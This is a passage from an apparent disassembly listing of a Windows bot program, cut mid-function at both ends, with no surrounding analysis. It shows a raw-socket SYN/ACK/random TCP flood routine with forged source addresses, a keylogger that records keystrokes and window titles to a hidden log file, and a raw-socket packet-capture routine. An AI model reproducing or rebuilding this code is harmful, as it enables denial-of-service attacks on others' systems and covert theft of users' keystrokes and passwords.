		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43AD98
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43AD98
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2610A2Ah
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 26106C7h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 26106C7h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------

loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------

loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]

loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43AE30
		pop	esi

loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43ACF8
		mov	eax, ebx

loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax

loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h

loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h

loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax

loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43AD98
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------

loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax

loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------

loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]

loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43AD98
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43AD94
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------

loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43AD98
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43AD98
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------

loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h

loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h

loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	near ptr 2620514h
		nop
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F684
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------

loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h

loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax

loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		mov	ebx, 200h

loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 2610E42h
		call	dword_43AD20
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"

loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43AC78
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43AD64
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------

loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------

loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------

loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659

loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------

loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx

loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 26101F3h
		nop
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43AD98
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26101F3h
		nop

loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h

loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43AD44
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
